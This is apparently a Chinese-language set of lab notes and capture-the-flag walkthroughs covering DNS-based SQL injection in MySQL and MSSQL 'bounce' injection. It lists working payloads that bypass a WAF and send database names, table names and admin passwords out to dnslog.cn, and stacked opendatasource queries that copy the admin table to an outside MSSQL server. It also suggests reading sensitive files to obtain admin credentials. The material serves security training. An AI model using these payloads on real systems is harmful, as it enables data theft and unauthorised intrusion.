DNS注入
DNS注入原理
通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。
load_file函数的作用
用于读取文件内容,并返回输出
load_file函数是什么
load_file 读取文件函数,读取的内容返回为字符串输出。
load_file函数在注入的作用
利用读取注入的报错信息,然后返回报错信息(显错注入)
DNS注入限制
server接收有大小限制
DNS是什么
是一个域名系统,是一项网络服务,它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网,DNS注入就是利用了DNS这个通道。
load_file函数的使用限制
返回内容有限制大小,server有接受大小限制,文件必须在服务器上,指定路径要完整,必须有file权限,所有字节可读.....
完整路径和绝对路径的关系
完整路径就是绝对路径
相对路径和绝对路径的关系
绝对路径从根目录开始,相对路径就是指由这个文件所在的路径引起的跟其它文件(或文件夹)的路径关系
DNS注入利用的场景
在无法直接利用的情况下,但是可以通过DNS请求,通过DNSlog,把数据外带,用DNS解析记录查看
'\\\\'是什么意思?
在'\\\\'中第一个和第四个都为转义字符,"\\"变为一个字符串的反斜杠,"\\\\"为两个字符串的反斜杠,为"\\"
UNC路径是什么
通用命名规则,也称通用命名规范、通用命名约定,类似于\\softer这样形式的路径
UNC的格式是什么样的
对所有数据库有效吗?
只对mysql有效,但是其他的应该也可以尝试
concat的作用
用于拼接,构成一个有效的访问路径
'\\\\'有什么作用
'\\\\'是UNC的访问路径格式
为什么UNC访问必须要符合上面写的标准格式吗?
其实并不是,在第一开始UNC路径,后面不断的更新迭代,其实写//也是可以用的
例如: //a.baidu.com/abc 也是可以的
DNS注入可以用在Linux的机器上面吗?
不可以,因为这里其实依靠的是UNC,只有Windows有这个
为什么load_file无法读取文件。
这里需要去mysql配置文件加一个配置
在my.ini 的最下面加一行
secure_file_priv=
DNS平台到哪里找?
一般来说我们用ceye.io
注:能够使用DNS注入的网站,代表都可以使用load_file去读取文件,实际上可以尝试去读取一些敏感文件,也许运气好,读到了管理员的账号密码,或者是一些敏感信息其实都是可能的!
进入靶场,
看代码,发现传参的点应该是id
测试一下是否能够显错,用?id=1 and 1=1
有waf(安全狗),waf是网页的安全软件,可以防止输入恶意的传参来获取一些敏感信息:
绕过方法可以用txt,jpg文件格式进行绕过,因此对于不存在的txt文件进行传参,会传给前面的文件,从而绕过waf。
使用index3.php/1.txt?id=1 and 1=1 成功绕过
vpzc5r.dnslog.cn
index3.php/1.txt?id=1 and load_file(concat('//',database(),'.vpzc5r.dnslog.cn/123'))
得到了库名 mangzhu
?id=1 and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.vpzc5r.dnslog.cn/123'))
得到了表名admin
?id=1 and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.vpzc5r.dnslog.cn/123'))
得到了表名news
?id=1 and load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 0,1),'.vpzc5r.dnslog.cn/123'))
?id=1 and load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 1,1),'.vpzc5r.dnslog.cn/123'))
http://59.63.166.75:8014/index3.php/1.txt?id=1 and load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 2,1),'.vpzc5r.dnslog.cn/123'))
同理news表中的字段有id、content。
index3.php/1.txt?id=1 and load_file(concat('//',(select password from mangzhu.admin),'.vpzc5r.dnslog.cn/123'))
可以看到flag就在admin表中的password里
1flag1good1
Mssql反弹注入
mssql反弹注入原理
依靠opendatasource函数,把查询出的数据发送到MSSQL服务器上。
DNS注入和mssql注入相同点
都是用了特殊函数,都将得到的信息输出传到外部,一个是DNS域,一个是mssql服务器上
猜数据时为什么不能用数字
根据了MSSQL的特性,虽然不能用数字但可用null和字母填充
%23能在mssql中使用吗
不能,%23是mysql特有的注释。
mssql注释有哪些
-- 可以用来当注释
用字母填充时有什么注意的
要加单引号
MSSQL有系统自带库吗
有 为master.dbo.sysdatabase
反弹注入满足的条件
能否堆叠查询,堆叠查询用;结束前一个语句,并执行下一个语句
为什么反弹注入开头不是select?
因为反弹注入是在我们的mssql服务器上插入我们子查询报错信息的语句,所以用insert into
xtype='U' 是什么?
设置查找用户建立的数据表
可以自己搭建一个mssql服务器接受数据吗
可以,但是要一个公网ip,有点不方便
在云服务器上搭建的接受数据库里的数据字段要和靶场的一样吗
要查询数据表字段数量必须和云服务器上面搭建的数据字段数量要相同
为什么要一个公网ip
因为如果设置在内网的话就访问不到
MSSQL的系统自带表是什么
Sysobjects 和mysql的不同
为什么不能直接查询表里的字段
要添加id参数,参数可在查询语句里看到
为什么反弹注入注入点摆明3个字段,但是设置三个字段无法插入
注入点三个字段和我们想要的表格的字段数量可不一定相同
反弹注入使用情况
没有回显的注入,支持opendatasource函数
如何通过系统自带库查询数据库名
select name from dbo.sysdatabases
如何通过系统自带库查询表名(查询用户建立的数据表)
select name,id from dbo.sysobjects where xtype=’U’
如何通过系统自带库查询字段名(查询表的时候记录需要表的id值)
select name,id from dbo.syscolumns where id=245575913
如何查询当前库名
select db_name()
来让我们进入靶场吧!!!!
http://o9pz8015.ia.aqlab.cn/?id=1http://o9pz8015.ia.aqlab.cn/?id=1
先尝试正常的注入 and 1=1
看来是字符串型的,需要闭合
http://o9pz8015.ia.aqlab.cn/?id=1' and 1=1 -- qwe
回显正常,存在注入点,可以来测测字段字段数了
由此可见,有三个字段数。
接下来看看显错位,下来使用union select
来查询
啊偶,看来是不行的 ,根据了MSSQL的特性,虽然不能用数字但可用null和字母填充
http://o9pz8015.ia.aqlab.cn/?id=1' union all select null,null,null from admin -- qwe
尝试
?id=1' union all select 1,'a','b'
-- qwe
由此可以判断有数据 第一个是数字类型,第二、三个是字符串类型
那就来查询表名看看
http://o9pz8015.ia.aqlab.cn/?id=1' union select null,table_name,null from information_schema.tables -- qwe
尝试查询列名
?id=1' union select 1,column_name,null from information_schema.columns where table_name='admin'-- qwe
通过系统自带库查询表名(查询用户建立的数据表)
' union select id,name,null from sysobjects where xtype='U' -- qwe
查询字段名
' union select id,name,null from syscolumns where id='1977058079' -- qwe
可以尝试查询flag
' union select null,token,null from admin -- qwe 其他的会报错
flag
zkaq{e9c9e67c5}
还有另一种方法,或许会更好使用~~~
自己搭建mssql服务器接受数据
server=链接地址,端口;uid=用户名;pwd=密码;database=数据库名称
把 (select查询得到的数据) 有dbo权限插入 (链接地址=SQL5009.webweb.com,端口=DB_14A5E44_zkaq_admin,账号=zkaqzkaq,密码=DB_14A5E44_zkaq)的数据库(DB_14A5E44_zkaq)的表(temp)里
insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin -- qwe
使用堆叠注入;将MSSQL查询和MYSQL查询写在一起
';insert into opendatasource('sqloledb','server=sql5075.site4now.net,1433;uid=db_a7e334_zkaqnf66664_admin;pwd=zkaqnf66664;database=db_a7e334_zkaqnf66664').db_a7e334_zkaqnf66664.dbo.wjj123 select*from admin -- qwe